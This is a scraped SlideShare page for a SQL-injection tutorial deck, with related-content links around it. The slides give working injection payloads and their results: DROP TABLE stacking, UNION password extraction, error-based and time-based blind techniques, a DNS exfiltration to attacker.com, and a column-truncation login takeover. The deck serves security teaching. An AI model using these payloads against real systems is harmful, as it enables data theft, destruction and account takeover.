SlideShare a Scribd company logo
1 of 17
Download to read offline
SQL-injection
WTF is SQL-injection?
GET /news.php?id=1337
SELECT news_title,news_text FROM news WHERE id=1337
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: Breaking news!
Text: Something happened!
Typical example of work with databases
Stacked Queries Injection
GET /news.php?id=1337;DROP TABLE news;
SELECT news_title,news_text FROM news WHERE id=1337;
DROP TABLE news;
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Table news will be deleted!
Add your SQL to request:
UNION based
GET /news.php?id=1337+UNION+SELECT+1,2
SELECT news_title,news_text FROM news WHERE id=1337
UNION SELECT 1,2
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: 1
Text: 2
Add valid SQL query and rewrite results
UNION based
GET /news.php?id=1337+UNION+SELECT+1,
(SELECT password FROM users LIMIT 1,1)
SELECT news_title,news_text FROM news WHERE id=1337 UNION
SELECT 1,(SELECT password FROM users LIMIT 1,1)
$sql = "SELECT news_title,news_text FROM news WHERE id=";
$sql = $sql . $_GET['id'];
Title: 1
Text: qwerty12345
Now, add full SQL-query and get the result
UNION based
• We can see the result of query
• Brute count of columns after UNION SELECT
• Use comment symbols to slice end of the
request: SELECT * FROM users WHERE id=1 or 1=1 -- AND
is_admin = 0
SELECT * FROM users WHERE id=1 or 1=1 # AND
is_admin = 0
Error based
• We can see mysql error, but can't print result of
SQL query
• Some functions execute inserted query first
• Use function, which return error with result of our
query to database
Error based
GET /print.php?param=name
SELECT name FROM users LIMIT 1,1
$sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1";
All ok!
No error
Error based
GET /print.php?
param=polygon((select*from(select*from(select@@version)f )x))
SELECT polygon((select*from(select*from(select@@version)f )x)) FROM users
LIMIT 1,1
$sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1";
Illegal non geometric '(select `x`.`@@version` from
(select '5.5.47-0+deb7u1' AS `@@version`
from dual) `x`)' value found during parsing
Result of query execution in error message!
Blind SQL-inj
GET /news.php?
id=1+AND+1=1+--+
SELECT * FROM news WHERE id =
1 AND 1=1 --
...
error_reporting(0);
...
HTTP/1.0 200 OK
...
We can't see the result, but ...
GET /news.php?
id=1+AND+2=1+--+
SELECT * FROM news WHERE id =
1 AND 2=1 --
...
error_reporting(0);
...
HTTP/1.1 404 Not Found
...
True False
Blind SQL-inj
We can check the result of query!
GET /news.php?id=1+AND
SUBSTRING(user(), 1, 1)="r"
SELECT * FROM news WHERE id = 1
AND SUBSTRING(user(), 1, 1)="r"
mysql> SELECT user();
root@localhost
HTTP/1.0 200 OK
... user() = r???@??????
True
Double Blind
Pages are similar, use time detection!
GET /news.php?id=1+AND+IF((SUBSTRING(user(), 1, 1)="r"),
sleep(0), sleep(10));
SELECT * FROM news WHERE id = 1+AND
+IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10));
mysql> SELECT user();
root@localhost
Response come
without waiting! user() = r???@??????
True
Blind SQL-inj
Optimization techniques:
Binary search
...SUBSTRING((SELECT
pass FROM users), 1, 1)...
a,b,c,d,e,f,0,1 2,3,4,5,6,7,8,9
e,f,0,1a,b,c,d
a,b c,d
a
a074c5929fb80888a09bc6fa0878b08d
b
a???????????????
Blind SQL-inj
Out-of-Band (Windows only)
GET /users.php?id=1 AND (SELECT LOAD_FILE(CONCAT('foo.',(select
MID(version(),1,1)),'.attacker.com')));
mysql> ...(select MID(version(),1,1))...
5
mysql>...LOAD_FILE(CONCAT('foo.',5,'.attacker.com'))...
mysql> select version();
5.5.47-0+deb7u1
Log DNS query: Request foo.5.attacker.com from ... version() = 5.?????...
Column Truncation
Registration processing:
table: users
column: login
max len: 10
GET /reg.php?user=root x 4 chars + 8 spaces + 1 symbol
mysql>SELECT * FROM users WHERE login = 'root x'
Empty set (0.00 sec)
Check passed! There is no
registered users with same
username
INSERT INTO users (login,pass) VALUES ('root x','...
mysql will cut 11th symbol, so
user will have login 'root '
0 root ...
1 root[6 spaces] ...
Column Truncation
Authorization processing:
GET /login.php?user=root[6 spaces]
SELECT login FROM users WHERE
username = 'root ' AND pass = ...
1 root[6 spaces] ...
0 root ...
1 root[6 spaces] ...
Auth check passed, show user info:
SELECT * FROM users
WHERE username = 'root '
Hello, root!
46.101.105.58:8181
or
github.com/cyberpunkych/ph2016

More Related Content

What's hot

international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
smueller_sandsmedia
 
R57shell
R57shellR57shell
R57shell
ady36
 
CheckingforDupsUsingTriggers
CheckingforDupsUsingTriggersCheckingforDupsUsingTriggers
CheckingforDupsUsingTriggers
Deepak Balur
 

What's hot (19)

Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017Hacking Your Way To Better Security - DrupalCon Baltimore 2017
Hacking Your Way To Better Security - DrupalCon Baltimore 2017
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
C#
C#C#
C#
 
Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8Practical JavaScript Programming - Session 8/8
Practical JavaScript Programming - Session 8/8
 
Hidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeysHidden in plain site – joomla! hidden secrets for code monkeys
Hidden in plain site – joomla! hidden secrets for code monkeys
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
 
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011 Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
Be lazy, be ESI: HTTP caching and Symfony2 @ PHPDay 2011 05-13-2011
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful software
 
Android databases
Android databasesAndroid databases
Android databases
 
Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For Beginners
 
SPFx working with SharePoint data
SPFx working with SharePoint dataSPFx working with SharePoint data
SPFx working with SharePoint data
 
SPFx: Working with SharePoint Content
SPFx: Working with SharePoint ContentSPFx: Working with SharePoint Content
SPFx: Working with SharePoint Content
 
R57shell
R57shellR57shell
R57shell
 
Intro to Parse
Intro to ParseIntro to Parse
Intro to Parse
 
Storytelling By Numbers
Storytelling By NumbersStorytelling By Numbers
Storytelling By Numbers
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()
 
CheckingforDupsUsingTriggers
CheckingforDupsUsingTriggersCheckingforDupsUsingTriggers
CheckingforDupsUsingTriggers
 
Backendless apps
Backendless appsBackendless apps
Backendless apps
 
Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8Practical JavaScript Programming - Session 5/8
Practical JavaScript Programming - Session 5/8
 

Viewers also liked (8)

Race condition
Race conditionRace condition
Race condition
 
Client side
Client sideClient side
Client side
 
LFI
LFILFI
LFI
 
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
Defcon Moscow #0x0A - Mikhail Firstov "Hacking routers as Web Hacker"
 
Race condition
Race conditionRace condition
Race condition
 
Hacking routers as Web Hacker
Hacking routers as Web HackerHacking routers as Web Hacker
Hacking routers as Web Hacker
 
Attacking MongoDB
Attacking MongoDBAttacking MongoDB
Attacking MongoDB
 
Mongo db eng
Mongo db engMongo db eng
Mongo db eng
 

Similar to Sql-Injection

8 sql injection
8   sql injection8   sql injection
8 sql injection
drewz lin
 
Micro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicateMicro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicate
Kiev ALT.NET
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdfHow to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdf
Appweb Coders
 
WordPress Security - WordCamp Phoenix
WordPress Security - WordCamp PhoenixWordPress Security - WordCamp Phoenix
WordPress Security - WordCamp Phoenix
Mark Jaquith
 

Similar to Sql-Injection (20)

Sql injection
Sql injectionSql injection
Sql injection
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)Sql
 
8 sql injection
8   sql injection8   sql injection
8 sql injection
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injection
 
Micro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicateMicro-ORM Introduction - Don't overcomplicate
Micro-ORM Introduction - Don't overcomplicate
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
Diving into php
Diving into phpDiving into php
Diving into php
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
 
How to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdfHow to Create Login and Registration API in PHP.pdf
How to Create Login and Registration API in PHP.pdf
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your database
 
DOODB_LAB.pptx
DOODB_LAB.pptxDOODB_LAB.pptx
DOODB_LAB.pptx
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
WordPress Security - WordCamp Phoenix
WordPress Security - WordCamp PhoenixWordPress Security - WordCamp Phoenix
WordPress Security - WordCamp Phoenix
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0
 
Agile Data Science 2.0
Agile Data Science 2.0Agile Data Science 2.0
Agile Data Science 2.0
 

Recently uploaded

1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
QucHHunhnh
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
kauryashika82
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdf
Chris Hunter
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
ciinovamais
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
negromaestrong
 

Recently uploaded (20)

Z Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot GraphZ Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot Graph
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
 
Unit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptxUnit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptx
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdf
 
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
 
Application orientated numerical on hev.ppt
Application orientated numerical on hev.pptApplication orientated numerical on hev.ppt
Application orientated numerical on hev.ppt
 
psychiatric nursing HISTORY COLLECTION .docx
psychiatric  nursing HISTORY  COLLECTION  .docxpsychiatric  nursing HISTORY  COLLECTION  .docx
psychiatric nursing HISTORY COLLECTION .docx
 
microwave assisted reaction. General introduction
microwave assisted reaction. General introductionmicrowave assisted reaction. General introduction
microwave assisted reaction. General introduction
 
How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17
 
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.
 
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptxINDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptx
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
 
General Principles of Intellectual Property: Concepts of Intellectual Proper...
General Principles of Intellectual Property: Concepts of Intellectual  Proper...General Principles of Intellectual Property: Concepts of Intellectual  Proper...
General Principles of Intellectual Property: Concepts of Intellectual Proper...
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
 
Role Of Transgenic Animal In Target Validation-1.pptx
Role Of Transgenic Animal In Target Validation-1.pptxRole Of Transgenic Animal In Target Validation-1.pptx
Role Of Transgenic Animal In Target Validation-1.pptx
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docx
 

Sql-Injection

  • 2. WTF is SQL-injection? GET /news.php?id=1337 SELECT news_title,news_text FROM news WHERE id=1337 $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: Breaking news! Text: Something happened! Typical example of work with databases
  • 3. Stacked Queries Injection GET /news.php?id=1337;DROP TABLE news; SELECT news_title,news_text FROM news WHERE id=1337; DROP TABLE news; $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Table news will be deleted! Add your SQL to request:
  • 4. UNION based GET /news.php?id=1337+UNION+SELECT+1,2 SELECT news_title,news_text FROM news WHERE id=1337 UNION SELECT 1,2 $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: 1 Text: 2 Add valid SQL query and rewrite results
  • 5. UNION based GET /news.php?id=1337+UNION+SELECT+1, (SELECT password FROM users LIMIT 1,1) SELECT news_title,news_text FROM news WHERE id=1337 UNION SELECT 1,(SELECT password FROM users LIMIT 1,1) $sql = "SELECT news_title,news_text FROM news WHERE id="; $sql = $sql . $_GET['id']; Title: 1 Text: qwerty12345 Now, add full SQL-query and get the result
  • 6. UNION based • We can see the result of query • Brute count of columns after UNION SELECT • Use comment symbols to slice end of the request: SELECT * FROM users WHERE id=1 or 1=1 -- AND is_admin = 0 SELECT * FROM users WHERE id=1 or 1=1 # AND is_admin = 0
  • 7. Error based • We can see mysql error, but can't print result of SQL query • Some functions execute inserted query first • Use function, which return error with result of our query to database
  • 8. Error based GET /print.php?param=name SELECT name FROM users LIMIT 1,1 $sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1"; All ok! No error
  • 9. Error based GET /print.php? param=polygon((select*from(select*from(select@@version)f )x)) SELECT polygon((select*from(select*from(select@@version)f )x)) FROM users LIMIT 1,1 $sql = "SELECT ".$_GET['param']." FROM users LIMIT 1,1"; Illegal non geometric '(select `x`.`@@version` from (select '5.5.47-0+deb7u1' AS `@@version` from dual) `x`)' value found during parsing Result of query execution in error message!
  • 10. Blind SQL-inj GET /news.php? id=1+AND+1=1+--+ SELECT * FROM news WHERE id = 1 AND 1=1 -- ... error_reporting(0); ... HTTP/1.0 200 OK ... We can't see the result, but ... GET /news.php? id=1+AND+2=1+--+ SELECT * FROM news WHERE id = 1 AND 2=1 -- ... error_reporting(0); ... HTTP/1.1 404 Not Found ... True False
  • 11. Blind SQL-inj We can check the result of query! GET /news.php?id=1+AND SUBSTRING(user(), 1, 1)="r" SELECT * FROM news WHERE id = 1 AND SUBSTRING(user(), 1, 1)="r" mysql> SELECT user(); root@localhost HTTP/1.0 200 OK ... user() = r???@?????? True
  • 12. Double Blind Pages are similar, use time detection! GET /news.php?id=1+AND+IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10)); SELECT * FROM news WHERE id = 1+AND +IF((SUBSTRING(user(), 1, 1)="r"), sleep(0), sleep(10)); mysql> SELECT user(); root@localhost Response come without waiting! user() = r???@?????? True
  • 13. Blind SQL-inj Optimization techniques: Binary search ...SUBSTRING((SELECT pass FROM users), 1, 1)... a,b,c,d,e,f,0,1 2,3,4,5,6,7,8,9 e,f,0,1a,b,c,d a,b c,d a a074c5929fb80888a09bc6fa0878b08d b a???????????????
  • 14. Blind SQL-inj Out-of-Band (Windows only) GET /users.php?id=1 AND (SELECT LOAD_FILE(CONCAT('foo.',(select MID(version(),1,1)),'.attacker.com'))); mysql> ...(select MID(version(),1,1))... 5 mysql>...LOAD_FILE(CONCAT('foo.',5,'.attacker.com'))... mysql> select version(); 5.5.47-0+deb7u1 Log DNS query: Request foo.5.attacker.com from ... version() = 5.?????...
  • 15. Column Truncation Registration processing: table: users column: login max len: 10 GET /reg.php?user=root x 4 chars + 8 spaces + 1 symbol mysql>SELECT * FROM users WHERE login = 'root x' Empty set (0.00 sec) Check passed! There is no registered users with same username INSERT INTO users (login,pass) VALUES ('root x','... mysql will cut 11th symbol, so user will have login 'root ' 0 root ... 1 root[6 spaces] ...
  • 16. Column Truncation Authorization processing: GET /login.php?user=root[6 spaces] SELECT login FROM users WHERE username = 'root ' AND pass = ... 1 root[6 spaces] ... 0 root ... 1 root[6 spaces] ... Auth check passed, show user info: SELECT * FROM users WHERE username = 'root ' Hello, root!